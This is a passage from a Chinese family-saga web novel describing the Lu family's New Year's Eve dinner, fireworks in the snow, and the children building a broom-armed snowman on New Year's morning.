厨房里,四个女人分工协作,何婉仪和袁一楠妯娌两个负责蒸馒头和炸油饼,时书岚处理食材,算是给姜海棠打下手,而姜海棠则承担了今天年夜晚的主厨。 姜海棠先是将比较费时间的清炖鸡炖在砂锅里,才开始着手准备红烧肉。 她将五花肉切成均匀的方块,冷水下锅焯去血沫。 另起油锅,放入冰糖炒出糖色,然后下入沥干的肉块翻炒。 当肉块均匀裹上琥珀色的糖浆时,她加入葱姜蒜、八角、桂皮和自家酿的黄酒,最后倒入热水慢炖。很快,浓郁的肉香就弥漫了整个厨房。 “真香!”何婉仪凑过来看了看锅里翻滚的肉块,赞赏地点点头,“火候掌握得真好,比我做的好多了。” “难怪人都说两口子是要互补的,果然是呢。海棠手艺这么好,良辰有口福了!”时书岚也笑着凑趣。 姜海棠不好意思地笑笑:“加一点陈皮,去腻提香,味道就能好许多,火候其实也好掌握,就这样……” 袁一楠也笑着夸奖了好几句。 “良玉和良慎今年能赶回来过年不?” “还是好些日子之前来过一次电话,说赶不回来了,给我们寄了点东西。”儿子和儿媳妇都不回来过年,袁一楠心里还是有点难过的,但好在一大家子过年,也不至于寂寞。 “年轻人忙事业,等过几年就稳定下来了陪在二婶身边了。”时书岚感觉到袁一楠的失落,忙说。 “也亏得还有你们两口子在身边,要不,我们几个老的都没人照顾。” 姜海棠只是听着,并没有插话,不过,她大概能理解,陆家小一辈为什么只有陆良谨在京城了,估计就是怕树大招风,因此,将其他的几个孩子都送到了外面。 在这个年代,这样的方式不失为保全家里的好方法。 屋外,是几个孩子欢快的笑声。 他们总是最无忧无虑的。 “妈妈,我帮哥哥贴福字了!”小桃子兴奋地跑进厨房,小脸冻得通红。 姜海棠蹲下身,帮女儿把歪掉的头绳重新扎好:“小桃子真棒!” “小桃子快到屋里暖和暖和。”何婉仪看着小孙女的小脸都冻红了,忙说。 “奶奶,我要去找哥哥!我要给哥哥帮忙。”小桃子说着哒哒哒的又跑出去了。 “这几个臭小子,总喊着要妹妹,现在可算得偿所愿了。这下,你们妯娌几个的压力都减轻了。”袁一楠笑着促狭时书岚。 时书岚说:“可不是,两个弟妹总不回来,他们几个就总催我要小妹妹,我都怕了他们了。这生儿生女的,哪里能由得我们啊,要是真的能心想事成,我倒是也想生个闺女。” 傍晚时分,年夜饭的准备进入最后阶段,陆老爷子和陆二叔两个人也完成了慰问回到家里。 第153章 年夜饭 老爷子虽然已经七十有二,但精神矍铄,看着比实际年龄年轻不少。 日常,他腰板挺得笔直,一看就是多年军旅生涯磨砺出来的精气神。 老爷子今天在各个部队跑了一天,晚上回家的时候,还颇有些意气风发的感觉。 陆二叔跟在陆老爷子后面,是一个很严肃的人。 姜海棠还是第一次见到陆家二叔,他和陆父不一样,陆父的温润,陆二叔身上多了几分刚硬之气,和陆老爷子很像。 也是,两个人都是部队里浸淫多年的人,还都身居高位,通身的气势肯定不一样。 见到姜海棠的时候,陆二叔挤出了一抹笑。 只是,那笑容有点惨不忍睹,面部肌肉僵硬得像是被冻住了似的。 亏得姜海棠之前已经见过陆老爷子的笑,要不然,可能真的会被吓到。 “你还是别笑了,吓到孩子。”袁一楠笑着推了一把丈夫,让他赶紧去换衣服。 客厅里,桌子被擦得锃亮,摆上了八道精心准备的菜肴:正中是油亮红润的红烧肉,旁边是糖醋鲤鱼,鱼头朝着陆老爷子主位的方向。 周围一圈,分别是清炖鸡、猪脚黄豆、糖醋小排骨、酱牛肉、凉拌黄豆芽、清炒白菜。 除了这些菜,还有一大盆白菜猪肉馅的饺子。 等陆老爷子和陆二叔两人换好衣服下来,全家人终于围坐在饭桌前。 陆老爷子坐在主位,两个儿子一左一右在他两边的位置,然后就是儿媳妇,孙子孙媳。 最后就是几个小萝卜头。 今年因为人多,陆家的大桌子都感觉有点拥挤了。 “人都齐了!“陆老爷子洪亮的声音从主位传来。 “今年是个好年,我们一家子人都平平稳稳、健健康康的。”老爷子目光灼灼地环视一周,眼底到底有些伤感。 家里人都知道,这一年,又有几家关系好的被清算下放了,陆家能好好的,确实值得庆幸。 众人沉默,最后是姜海棠开口:“爷爷,我相信,这只是黎明前的黑暗,熬过这段时间,一切都会好。” 这一场风波,还有一年多就过去了,那之后一切都会好起来。 “好孩子,你说得好,会过去的,会好起来的!”陆老爷子赞赏地看看这个未来的孙媳妇。 “这一年,你们各自在工作岗位上都有突出表现,为国家和人民做了一些事。良辰转业到了地方,是迫不得已,但好在良辰工作出色,我也能稍微安心一些。” 姜海棠也是这时候才知道,原来,陆良辰的专业是有原因的。 她不由朝着陆良辰看过去,陆良辰也正在看着她,眼中的情意绵绵。 “爸,我倒觉得,这小子转业是姻缘到了,该去找海棠这孩子了。”何婉仪浅笑着说。 儿子在军队多年,当初转业,多少有些不乐意,不过这一次回来,那点不乐意早就消失不见了。 瞧瞧这会儿看媳妇那眼神,没眼看了。 陆老爷子听到儿媳妇这话,也笑了,“以前总担心良辰这臭小子一辈子孤身,今年海棠也来了我们家。正月初五就要订婚了,我也算放心了。” 陆老爷子说完,又将目光放在姜海棠的身上。 “我们陆家是军人家庭,讲究纪律,也讲究情义。当初良辰说要收养战友的女儿我没反对。可我心里一直在担心,要是收养了这个孩子,他会不会更不好找媳妇。可是见了你对小桃子,我这点担心也没了,你是个好孩子啊。” 姜海棠眼眶一热,连忙站起来:“谢谢爷爷,我会努力做得更好。” “坐下坐下。”老爷子摆摆手,“自家人不用这么客气。来,大家一起喝一杯!” 今天桌上有一瓶茅台酒,时书岚已经给大家都满上了,全家人举杯相碰,连小孩子们都举起了装着橘子水的杯子。 姜海棠抿了一口白酒,辣得直吐舌头,惹得陆良辰低笑不已。 何婉仪骂道:“你这个臭小子,没见海棠辣到了,还不给她倒汽水。” 陆良辰忙给姜海棠倒了一杯汽水,说道:“慢慢就习惯了,你没喝过酒,今天少喝一点。” 姜海棠羞涩的抿嘴笑,因为喝酒成了粉红色的脸颊上露出两个浅浅的酒窝。 陆良辰看得心头一热,在桌下悄悄握住了她的手。 “喝了酒,我们动筷子吧。”陆老爷子一声令下,全家人这才拿起筷子。 陆老爷子先动筷子,他夹的是那条糖醋鲤鱼的鱼眼睛,这有“点睛之笔”的寓意,寓意新的一年明察秋毫。 等陆老爷子动筷子之后,其他人就随意了,但整体来说,都是晚辈等长辈先动筷子。 “良辰,你给海棠夹菜,别傻愣着啊。”何婉仪担心姜海棠还是会不自在,因此催促儿子:“今天这一桌子菜,可是海棠的手艺,我们其他人就是打了下手。” 陆良辰夹了一块肥瘦相间的红烧肉给姜海棠之后,骄傲地说:“海棠做饭可好吃了。爷爷,我给您也夹一块。” 陆良辰又给老爷子夹了一块红烧肉,看着油亮红润、肥而不腻的红烧肉放在碗里,陆老爷子眼睛里都有光了。 “良辰,医生不让你爷爷吃红烧肉。”陆二叔忙说。 “大过年的吃一块,关系也不大,再说了,我老头子活到七十几岁了,连口肉都不能吃,有什么意思?” 陆二叔不说话了,陆父说道:“今天过年,就吃一块,不过不能多吃。” “三块!”陆老爷子眯着眼看盘里的红烧肉:“别给我说吃鱼什么的,没滋没味。你们日子过得好,不能理解我们那时候,每次打了胜仗,就想着吃一口红烧肉。可十有八九吃不到,能吃一口野菜糊糊就不错了。” 陆老爷子连当初的事都拿起来说了,众人也不好劝,但也只允许他吃三块红烧肉。 陆老爷子吃了三块红烧肉,倒是也没有要求继续吃。 他也清楚,孩子们这是为了他的身体着想。 全家人说说笑笑,连陆二叔的嘴角都抽动了几下。 “良辰在厂里怎么样?可都能适应?”陆二叔突然开口,声音低沉有力。 这个侄儿,曾经是他最看好的接班人,可惜,不得不转业到地方,他一直都有些遗憾。 “厂里去年超额完成生产任务,广交会上也取得了不错的成绩,现在羊毛衫也上市了,今年准备引进新设备,继续扩大生产,研究新产品。” 陆良辰条件反射般地挺直了腰板,语气也变得正式起来。 “海棠,听说你在研究新式纺织机?”陆二叔又问姜海棠。 姜海棠没想到会被点名,差点被嘴里的饺子噎住。 陆良辰赶紧给她倒了杯水,轻轻拍着她的背。 “是的,二叔。”咽下嘴里的饺子,姜海棠这才开口,“过完年,我们要再尝试改进细纱机的牵伸装置,希望能提高30%的生产效率。” “好好的,问什么工作上的事儿,看把两个孩子紧张的。”袁一楠瞪了一眼丈夫,陆二叔不好意思地扯了下嘴巴。 “爷爷,我觉得,家里最大的喜事是我们有妹妹了!” 陆保国忽然冒出来这么一句话,在场的人先是一愣,随后都笑了起来。 对于孩子们来说,好像确实是这样,家国大事,和他们没关系。 “好!为了庆祝你们几个有妹妹,我们来喝一杯?”陆老爷子端起酒杯和几个重孙子互动起来。 小桃子也端着小杯子有模有样地喝着橘子水。 气氛更加活跃起来,何婉仪和袁一楠忙着给孩子们夹菜,陆父和二叔聊着军区有趣的事,陆良辰则时不时给姜海棠碗里添点她爱吃的菜。 “够了够了,”姜海棠小声抗议,“我都吃胖了。” “胖点好,你以前太瘦了。”陆良辰凑到她耳边,温热的气息拂过她的耳廓,“胖了抱着舒服还暖和。” 姜海棠羞得差点把脸埋进碗里,她偷偷环顾四周,幸好大家都在忙着说话吃饭,没人注意到他们的小动作。 年夜饭持续到晚上九点多,饭后,女人们收拾碗筷,陆老爷子招呼着家里的小家伙们要去外面放炮仗,原本陆父和陆二叔是不想去的,但老父亲都去了,他们也只能跟着去。 姜海棠要跟着去厨房,被何婉仪和袁一楠拒绝了:“你今天做了这么多的菜,很辛苦了,休息一会儿,要不就陪着小桃子去放炮。” 姜海棠拗不过他们,只能回到客厅里。 客厅里已经没人,大家都出去了,姜海棠想了想,也穿了棉衣,戴上围巾走出大门去院子里。 第154章 会撒娇的小桃子 姜海棠走到院子里,惊讶的发现,不知道从什么时候开始,外面又飘起了雪花。 院子里的树梢、篱笆上也积着白雪,在夜色中泛着微光,给这个除夕之夜增添了几分梦幻色彩。 细碎的雪花迎面扑来,凉丝丝地落在她的睫毛上,凉飕飕的,姜海棠伸手接住一片雪花,却不觉得冰冷。 雪也不知道从什么时候开始下的,这时候院子里已经积了一层薄薄的银白。 院子中央,陆卫国正带着几个半大的孩子蹲在地上,他们的注意力全被手中的东西吸引。 只见陆卫国小心翼翼地捧着一把红纸裹着的小鞭炮,那模样,仿佛捧着稀世珍宝,生怕有半点闪失。 其他几个孩子们围在他身边,眼睛亮晶晶的,透着对鞭炮的期待。 小桃子穿着厚厚的花棉袄,撅着屁股蹲在地上,像个可爱的小团子。 凛冽的寒风把她的脸蛋冻得红扑扑的,却依然挡不住她对鞭炮的好奇。 她既害怕又兴奋,在炮即将被点燃的时候立即躲在陆良辰身后,只露出一双圆溜溜的大眼睛,忽闪忽闪地张望着,那模样可爱极了。 “妹妹,敢不敢放一个?”陆保国一脸神气地从兜里掏出一挂“小钢鞭”,动作利落地拆下一个,用香火头点燃后,迅速扔了出去。 “啪”的一声脆响在院子里炸开,小桃子吓得浑身一哆嗦,随即又咯咯笑起来,小手紧紧攥着陆良辰的衣角,声音里带着兴奋与害怕:“爸爸,害怕,想试试……” 陆良辰看着女儿兴奋又紧张的小眼神,嘴角不自觉地上扬,眼底满是宠溺。 他轻轻抱起小桃子,柔声道:“好,爸爸教我们小桃子放炮。” 一旁的陆卫国见状,立刻拿过来一根“哧溜花”递给陆良辰,热情地说:“二叔,给妹妹放这个,好看。” 陆良辰摸了摸大侄子的脑袋,笑着应下:“好,我们给妹妹放这个。” 为了给小桃子示范,陆良辰自己拿着“哧溜花”,示意陆卫国帮忙点燃引线。 陆卫国一边点燃引线,一面叮嘱小桃子:“妹妹,把耳朵捂住,看烟花。” 小桃子既紧张又兴奋,小手紧紧捂住耳朵,眼睛却一眨不眨地盯着“哧溜花”。 只见陆良辰轻轻晃动手中的“哧溜花”,金红色的火星子瞬间冒出,在雪中划出一道道闪亮的轨迹,宛如流星划过夜空。 “哇偶,爸爸,像小星星一样飞走了。”小桃子兴奋得忘记了害怕,在陆良辰怀里拍着巴掌,脸上洋溢着灿烂的笑容。 “妹妹,还有更好玩的呢,二哥带你玩。” 陆保国见小桃子不再害怕,开心得不得了。 他一直喜欢放炮,可妹妹之前害怕,他又不想丢下妹妹自己玩,如今终于能和妹妹一起分享这份快乐了。 小桃子近距离感受了一下放炮,竟然真的不害怕了,她挣扎着从陆良辰的怀里爬下来,然后跟着陆保国放炮去了。 陆良辰这个老父亲还有一瞬间的失落,怎么这就跟着别人走了? 他神秘兮兮地从棉袄内兜里掏出个“二踢脚”,一脸得意地说:“妹妹,我给你说啊,这个可厉害了,‘砰——啪!’两声响,能飞老高!” 几个孩子眼光灼灼地围了过来。年纪最小的陆兴国虽然捂着耳朵,大眼睛却紧紧盯着“二踢脚”,生怕错过任何一眼。 陆保国小心翼翼地把“二踢脚”斜插在两块砖头之间,天气太冷,他手指有些僵硬,他用了两根火柴才成功点着引线。 “都退后!”他大喊一声,拽着小桃子迅速往后退。 “嗖——砰!”第一声闷响,炮仗如离弦之箭直冲夜空,在漆黑的夜幕里炸开,绚丽的光芒照亮了整个院子。 紧接着“啪!”第二声响亮地回荡在夜空里,细碎的红纸屑纷纷扬扬落下,混着雪花在空中飘舞,宛如一场梦幻的红色花雨。 孩子们兴奋得欢呼雀跃,小桃子虽然在炮声响起时吓了一跳,但很快就拍着手跳着喊:“二哥,二哥,再来一个!再来一个!” 几个孩子立刻为了谁放下一个“二踢脚”吵得不可开交,你一言我一语,谁也不让谁。 这可是在妹妹跟前刷好感的时候,让出去的是傻子,他们都想让妹妹知道,自己是最厉害的哥哥。 陆老爷子站在屋檐下,双手自然垂落,一脸严肃地看着孩子们闹腾。 可若仔细观察,便能发现他嘴角微微上扬,眼底藏着掩饰不住的笑意。 陆父和陆二叔站在他身后,嘴里念叨着“大冷天的放什么炮”,可眼神却一刻也没离开孩子们手里的炮仗,满是担忧,生怕孩子们不小心伤着自己。 “妈妈!”小桃子眼尖,一眼看到了从屋里走出来的姜海棠,立刻迈着小短腿兴奋地扑了过去。 陆良辰眼疾手快,在小桃子冲过来的瞬间,迅速从后面拦住姜海棠,这才避免了一场“小事故”。 姜海棠心有余悸,感激地朝陆良辰看了一眼。 陆良辰则一脸温和地教育小桃子:“小桃子,你要小心一点,刚才差点撞倒妈妈了。” 小桃子眨巴着大眼睛,一脸愧疚地道歉:“妈妈,我错了,我忘了。” 姜海棠笑着摸了摸她的头,温柔地说:“没事,下雪地滑,小桃子要小心一点哦,要是摔倒了,小屁股是要疼的。” 小桃子乖巧地点点头,拉住姜海棠的手,满怀期待地问:“妈妈你也来看放炮吗?” 姜海棠笑着应下:“是啊,陪我们家小桃子一起看放炮。” 另一边,“嗤——”陆保国划了根火柴,火苗在风中微微颤抖,忽明忽暗。 他屏住呼吸,迅速点燃引线,大喊一声:“跑!”。 几兄弟十分默契,听到喊声,立刻一哄而散。 炮声响起的瞬间,小桃子吓得“呀”地叫了一声,转身就往姜海棠怀里钻。 姜海棠笑着捂住她的耳朵,自己也微微侧过脸,脸上洋溢着幸福的笑容。 “小淘气,看到妈妈就害怕炮声了?”陆良辰笑着打趣。 小桃子羞涩地对着他笑,软糯糯地说:“想让妈妈抱。” “小坏蛋!就会撒娇。”陆良辰刮了刮她的鼻子,眼里满是疼爱。 “妈妈,我们也放一个吧?”小桃子拽了拽姜海棠的袖子,眼睛亮晶晶的,满是期待。 姜海棠回过神,笑着点头答应:“好,放一个。” 两辈子了,姜海棠其实从来没有放过炮,这种感觉既新鲜又让她有些忐忑。 陆良辰敏锐地察觉到了她的不安,轻声安慰道:“我教你,不用怕,很容易。” 在陆良辰的耐心引导下,再加上陆卫国、陆保国几个孩子的热心帮忙,姜海棠终于鼓起勇气,第一次点燃了一根爆竹。 看着爆竹绽放出绚丽的火花,她忍不住跟着孩子们一起欢呼起来。 陆良辰看着她开心的模样,眼底眉间都是宠溺,在他心里,他家的小姑娘,其实也只是个孩子。 许是陆家这边的热闹氛围太浓厚,感染到了周围的人家。 很快,就听到四面八方传来“噼里啪啦”的鞭炮声。 偶尔有红色的纸屑随风飘过来,落在院子里,空气中弥漫着火药的味道越来越浓重,混着冷冽的雪气,却莫名让人心里暖烘烘的,充满了浓浓的年味。 雪越下越大,鹅毛般的雪花纷纷扬扬地飘落。 炮仗声、孩子们的笑声、长辈们的唠叨声交织在一起,在这个除夕夜里,谱写出一曲温馨又热闹的乐章,让整个小院都沉浸在幸福与温暖之中。 何婉仪和袁一楠妯娌俩忙完手里的活计,出来时,才惊觉外面的雪已经下得这么大了。 雪花纷纷扬扬,院子里的积雪也越来越厚,孩子们头上脸上都是雪花。 她们心疼孩子们在雪地里玩耍会着凉,忙招呼几个孩子回屋里取暖:“这群皮猴子,把新做的棉鞋都踩湿了,看你们明天穿什么。” “正好明天把他们都拘在家里。”袁一楠说。 “你可不容易,一天不出去祸害人就难过,留在家里一天,只怕我这脑子要疼。”嘴里说了不耐烦的话,可何婉仪笑的温柔。 几个孩子虽然意犹未尽,还想在外面继续玩耍,但雪确实越下越大,实在不适合再待在外面,只能一步三回头,不情不愿地回到屋里。 小孩子精力旺盛,闲不住,刚到屋里,把湿了的棉鞋脱下来,就一个个凑到陆二叔跟前,眼巴巴地让陆二叔讲打仗的故事。 陆二叔有点为难的指着陆爷爷说:“找你们太爷爷或者你们二叔讲故事去,我讲不好。” 一个小家伙歪着脑袋,认真地看了看陆爷爷和陆良辰,最终决定找陆良辰。 陆父见状,笑着问孙子们:“为什么不让太爷爷讲故事?” 小家伙们七嘴八舌地回答:“太爷爷讲的已经听过了,要听二叔讲没听过的。” 小桃子托着小脑袋,一脸疑惑地问:“可是,小桃子没有听过太爷爷讲故事怎么办?” 陆卫国几个孩子一时之间犯了难,是啊,妹妹还没听过太爷爷讲故事呢。 “要不,今天晚上先听太爷爷讲故事,明天晚上再听二叔讲故事?”一个孩子提议道。 没想到,几个小家伙竟然十分迅速地就达成了共识,可见小桃子的话在他们心里分量足。 “妹妹的魅力就是大,这几个皮猴子今年竟然这么容易就做出决定了,都没有争吵。”时书岚忍不住笑着吐槽。 第155章 把妹妹偷出去 陆良谨凑近自家媳妇跟前,一脸羡慕地说:“媳妇,要不,我们再生个小闺女,我看二弟家的小桃子,好羡慕。” 时书岚听了,又好气又好笑,狠狠地掐了一把陆良谨的腰,嗔怪道:“你还想干什么?生个小闺女,你也不看看,咱们家生了这么多,都没生出一个小闺女来?” 陆良辰不用给小家伙们讲故事,便坐在姜海棠旁边,陪着父母们聊天。 他关切地低声问:“冷吗?” 见她摇头,还是不放心地把自己的外套披在了她肩上,动作轻柔又自然。 而几个孩子则乖乖围在陆老爷子跟前,津津有味地听故事。 就算是几个早已经听过故事的小家伙,此刻也听得全神贯注,仿佛第一次听到一般。 小桃子更是不知道什么时候被陆老爷子抱在了怀里,乖乖巧巧地依偎着太爷爷,一双大眼睛一眨不眨地盯着陆老爷子,听他讲打鬼子的故事。 听完故事,时书岚拿出早就准备好的瓜子、花生和水果糖,摆在桌上。 孩子们吃着糖果,打打闹闹,整个屋子里都是欢声笑语。 何婉仪拿出早就准备好的红纸包,给每人发了一个压岁钱,连姜海棠都有份。 “阿姨,我不是小孩子了。”姜海棠捧着红纸包,不知所措。 “拿着吧,都不到二十岁,没有结婚,怎么不是小孩子?”何婉仪慈爱地说,“在我们家,没结婚的都是孩子,都有压岁钱。” 陆良辰笑着解释:“妈这是把你当闺女疼呢。” 姜海棠红着脸收下红包,心里暖融融的。 小桃子已经迫不及待地拆开自己的红包,小嘴巴张得圆溜溜地惊呼道:“哇!五毛钱!能买糖葫芦了!“ 大家又被她逗笑了。 陆老爷子年龄大了,过了十点钟,就回房休息去了,几个孩子想熬夜,无奈大人不准,也被勒令要求回房休息了。 几个孩子原本不愿意,但何婉仪说了,要是不睡觉,明天不许去外面玩,几个孩子只能不情不愿地回去睡觉。 剩下的几个人坐在一起说话,陆良谨调试着新买的收音机,很快,里面传出了中央人民广播电台的春节特别节目。 “……在这辞旧迎新的美好时刻,我们向全国各族人民,向广大工人、农民、知识分子……” 伴随着收音机里的声音,大家一边嗑瓜子一边聊天。 何婉仪讲起陆良辰小时候的趣事,说他五岁时为了看放鞭炮,把新棉袄烧个洞挨揍;时书岚说起去年厂里文艺汇演的趣闻;陆良谨则和陆良辰讨论着来年的工作计划…… 姜海棠安静地听着,时不时被逗笑。 午夜时分,远处的村庄传来零星的鞭炮声。 陆良辰和陆良谨兄弟俩也到院子里放了一挂小鞭炮,噼里啪啦的声响中,新的一年到来了。 “新年好!”家人互相拜年,每个人的脸上都洋溢着真挚的笑容。 姜海棠站在屋檐下看着院子里尚未散尽的硝烟。 陆良辰走过来,轻轻揽住她的肩膀:“新年有什么愿望?” 姜海棠将目光落回陆良辰坚毅的面容上。 “希望我们一家人永远这样平安幸福。”她轻声说。 陆良辰会意地笑了,在她额头上轻轻一吻:“一定会的。” “要不要再吃点饺子,子时到了。”何婉仪问。 陆良辰说:“要的,三十晚上熬一宿呢,得再吃点。” 饺子包好的还有,姜海棠和时书岚妯娌两个到厨房里煮了两盘出来,几个人说说笑笑,两盘饺子又被消灭了。 吃了夜宵不久,何婉仪、袁一楠妯娌熬不住,招呼两个儿媳妇一同回去休息。 陆父和陆二叔老兄弟两个在陆良辰、陆良谨兄弟的陪同之下按照惯例守夜。 翌日一早,姜海棠醒来,先打开窗帘看看外面,一片耀眼的白光扑面而来。 她定睛一看,院子里积了足有半尺厚的雪,天气还是阴沉沉的,似乎还要下雪。 她呵出一口白气,赶紧系好棉袄扣子往楼下跑。 刚走到客厅里,就看到几个小萝卜头头对头地凑在一起。 “保国,你小点声!别把大人们吵醒了!”这是老大陆卫国的声音。 “可是,妹妹还没起来,我们不能丢下她!”陆保国很坚持这一点。 既然是自己家的妹妹,那就什么时候都不能丢下。 “我们想办法去偷妹妹出来?”陆兴国想了又想说道。 陆卫国一副你是个傻子的模样看着陆兴国。 “妹妹和小婶婶一起睡的,怎么能偷出来?” “要不,我们先想办法把小婶婶引开,然后偷了妹妹出去玩?”陆兴国又说。 姜海棠被几个小家伙逗得忍俊不禁,她想了想,弄出一点声响之后,转身去了厨房。 几个小家伙听到有声音,吓了一跳,看到是姜海棠的时候,更害怕了。 “大哥,小婶婶有没有听到我们的话?” 陆卫国想了想说:“应该没有吧。” “那我们现在去偷妹妹?也不知道妹妹睡醒了没有。” 几个小萝卜头轻手轻脚地上楼,唯恐被人听到响动。 姜海棠一直留心观察着。 不多时候,就看到几个小萝卜头领着穿着花棉衣的小桃子从楼上下来。 “你们这是要干啥去?“姜海棠忍着笑问道。 几个孩子吓得一激灵。 陆保国挠挠头,嘿嘿笑道:“小婶婶,我们,我们想去堆雪人……” “对对对!”陆卫国赶紧接话,“小婶婶,我们就在院门口堆,绝对不跑远!” 小桃子眨巴着大眼睛,拽着姜海棠的衣角轻轻摇晃:“妈妈,小桃子想堆雪人,小桃子还没堆过雪人呢。” 姜海棠看着几个孩子期盼的眼神,心早就软了。 她蹲下身给小桃子系紧围巾:“要堆雪人也可以,但要先吃饭,然后把帽子手套都戴上才能出去,这么冷的天,冻着了可不行。” 几个孩子难掩失望,最小的陆兴国嘟着嘴巴。 这时候,何婉仪也过来了,看了看几个孩子的样子,还有什么不明白的。 “去把棉鞋棉衣都换成旧的再去玩雪,要不然一会儿都弄脏了。” 陆卫国首先听明白了,奶奶这是同意了,他喊着万岁招呼弟弟们冲上去换衣服鞋子。 不一会儿,小院子里就热闹起来。 陆卫国负责铲雪,陆保国滚雪球,小桃子和陆兴国两个小不点儿蹲在地上给雪人做装饰…… 反正几个孩子都在非常努力地忙活着。 忽然,小桃子一个不小心滑倒在雪地里,滚了一个圈儿。 陆卫国忙冲过去赶紧把她拎起来,拍打着她身上的雪。 “妹妹你摔疼没?” 小桃子却咯咯笑着抓起一把雪,趁他不注意,“啪”地糊在他脸上:“不疼!哥哥是雪人!” “好你个小坏蛋!”陆卫国抹了把脸,假装凶巴巴地瞪眼,“看我怎么收拾你!” 陆卫国作势要去抓她,陆保国急忙拦住:“妹妹快跑!” “堆雪人,堆雪人!”陆爱国着急地喊着,生怕几个兄弟不务正业,耽误了堆雪人。 闹腾的几个人这才消停下来继续堆雪人。 陆卫国喊道:“兴国,你去厨房偷个胡萝卜来当鼻子。” 小桃子一听要“偷”东西,眼睛瞪得圆溜溜的:“偷、偷东西会被骂的......” “没事儿!”陆兴国拍拍胸脯,“王奶奶最疼我,就说要给妹妹堆雪人用。” 说完一溜烟跑没影了。 不得不说,孩子们年龄虽然不大,但动手能力还挺强的,不多时候,真的让他们有模有样的弄出来一个雪人的模样。 小桃子蹲在旁边,认真地用冻得通红的小手把雪拍实。 陆卫国不知从哪儿摸出两颗煤球,往雪人脸上一按:“看,眼睛!“ “还差个嘴巴......” 小桃子歪着头想了想,突然眼睛一亮,从兜里掏出一块水果糖,“用这个!“ “哎哟我的好妹妹!”陆爱国赶紧拦住,“糖多金贵啊,你留着吃。” 说着折了根细树枝,掰成弯弯的形状插上去,“这样就行啦!” 正说着,陆兴国鬼鬼祟祟地跑回来,怀里不光揣着胡萝卜,还多了两颗红枣:“王婶给的,说给雪人当扣子。” 几个哥哥忙活着给雪人打扮,小桃子站在旁边尽情地撒欢儿跑。 “嘿,还挺像那么回事。”陆卫国显然对自己几个人的杰作很满意:“就是少了点什么?” 小桃子想了又想说:“帽子,小桃子有帽子,雪人没有。” 小家伙说着就要取下自己的帽子和围巾给雪人戴上。 这可把几个哥哥吓一跳:“小桃子乖啊,你的帽子你戴着,要是你冻着了,二叔得打我们屁股。” “不光二叔会打,爷爷和二爷爷也打。” 陆兴国被哥哥们这一说,赶紧捂住屁股,生怕挨打。 “那怎么办?”小桃子很失望。 姜海棠虽然没有跟着孩子们出来,但一直隔着窗户看几个孩子呢,看到他们为了帽子和围巾纠结,便想着将自己的围巾和帽子拿出去给孩子们。 “我这里有用旧了的,给他们拿出去就行。”何婉仪忙拦住了姜海棠。 第156章 后悔了 得了围巾和帽子,雪人果然更加好看了。 小桃子拍着手直跳:“真好看!真好看!“ 陆爱国国看着小桃子如此高兴,眼珠子转了转压低声音:“二哥,你说,咱们给雪人安个胳膊怎么样?” 两兄弟对视一眼,不约而同地看向院墙边那两把扫帚…… 陆爱国和陆保国趁着大人们都不在,蹑手蹑脚地摸到院墙边,抄起一把竹扫帚跑回到了雪人旁边。 小桃子瞪大眼睛,小手捂着嘴偷笑。 “这……这能行吗?”陆卫国看到了,忙问:“待会儿要是被发现,我们的屁股蛋子可要受罪。” “没事儿!”陆保国拍着胸脯,“用完就还回来,保证不弄坏!” 两个娃嘴里说着保证不弄坏,可是手却有自己的想法,很快就麻利地把用绳子紧紧地扎在一起的扫帚解开。 两个人还认真地选择了其中最合适的几根插进雪人两侧。 经过一番操作,一个威风凛凛的“扫帚将军”顿时立在院门口。 小桃子乐得直拍手,绕着雪人转圈圈。 “嘘——小点声!”陆卫国紧张地望向院里那已经散架的扫帚,小心翼翼地说:“要是奶奶出来,估计要打人。” 话音未落,身后突然传来一声咳嗽,几个孩子顿时僵在原地,陆二叔正背着手站在台阶上,眉头皱得能夹死苍蝇。 看着几个孙子辈干的好事,陆二叔真是头疼,这几个皮猴子,一天不干坏事都怪了。 这一次,连扫帚都给拆了…… “你们几个,给我过来。”陆二叔板着脸冲着几个娃吼道。 小桃子怕了,忙躲在陆保国的身后。 陆保国急中生智,挺直腰板说:“爷爷,我们这是在堆''守门将军’!您看,有了它,保准邪祟不敢进咱家门。” “祖宗,你怎么什么都敢说,这要是被人听到了还了得?”正好走出门的袁一楠正好听到孙子这话,当场吓坏了,冲过去就捂住了陆保国的嘴巴。 这个年代,“辟邪”这类字眼沾着封建迷信的边,说不好就要惹麻烦。 就算他们家在大院里,可也不知道有多少人盯着呢,可不敢让孩子这么说。 陆保国小孩子,自然不知道这话有什么不对的,在他看来,这个雪人,真的就像个大将军一样,威风凛凛的。 被陆二叔一声吼惊动的屋里的人都走出来了,瞧见院子里的雪人,都带着笑,可是看到躺在地上七零八落的扫帚的时候,气不打一处来。 “陆卫国,你们谁干的?”何婉仪冲着孙子吼道。 “大嫂,肯定是陆保国这臭小子,卫国想不出来这种点子。”袁一楠倒是很了解自己这个孙子。 “一人做事一人当,这事是我干的。” 陆保国站在兄弟们面前,一副英勇就义的模样,倒是个有担当的。 陆父盯着雪人看了半晌,突然“噗嗤”笑出声来:“还别说,挺像那么回事。是个不错的‘守门将军’。” 气氛因为陆父这句话,瞬间轻松了下来,陆父走过去,伸手拍了拍雪人的“头盔”,摇摇头说道:“就是这帽子……不够威风!” “太爷爷的帽子威风!”陆兴国年龄小,可看不懂官司,不管三七二十一,开口建议。 他一张小脸红扑扑的,童言无忌,还觉得自己说得挺有道理。 陆二叔盯着自家这个小孙子,骂也不是笑也不是。 “你小子倒是个会挑的,你太爷爷的帽子,可不是威风吗?”陆良辰忍不住笑了。 “老二,你还得努力啊,你看看,你的帽子,小五这臭小子都没看上。”陆父揶揄弟弟。 陆二叔被自家大哥这么一揶揄,气也消了。 “陆保国,我屋里有一顶旧军帽,拿出来给换上!” 几个人七嘴八舌地将事情定下来,何婉仪一脸一言难尽地盯着几个男人。 “你们就惯着他们吧!” “扫帚坏了,我等下绑一绑就好了,也不是大事,大年初一,为了这点事生气不好。”陆父急忙劝自家媳妇。 何婉仪想到今天到底是大年初一,也只能将怒意压下去。 很快,陆保国连蹦带跳地拿着陆二叔的旧军帽跑回院子里,军帽上的五角星虽已磨得发白,戴在雪人头上,却平添几分英气。 “二爷爷的帽子好看!“小桃子欢呼着拍着小巴掌。 陆二叔被乖乖巧巧软软萌萌的小姑娘夸奖得有点不好意思了,不过,心里又开始羡慕有个小孙女好了。 “小桃子,来,二爷爷抱抱。” 小桃子这孩子,确实是个很活泼胆大的孩子,她竟然不怕陆二叔的天生冷脸,扑过去抱住陆二叔的腿。 陆二叔一把捞起小桃子抱在怀里,还用脸上的胡茬子扎小桃子。 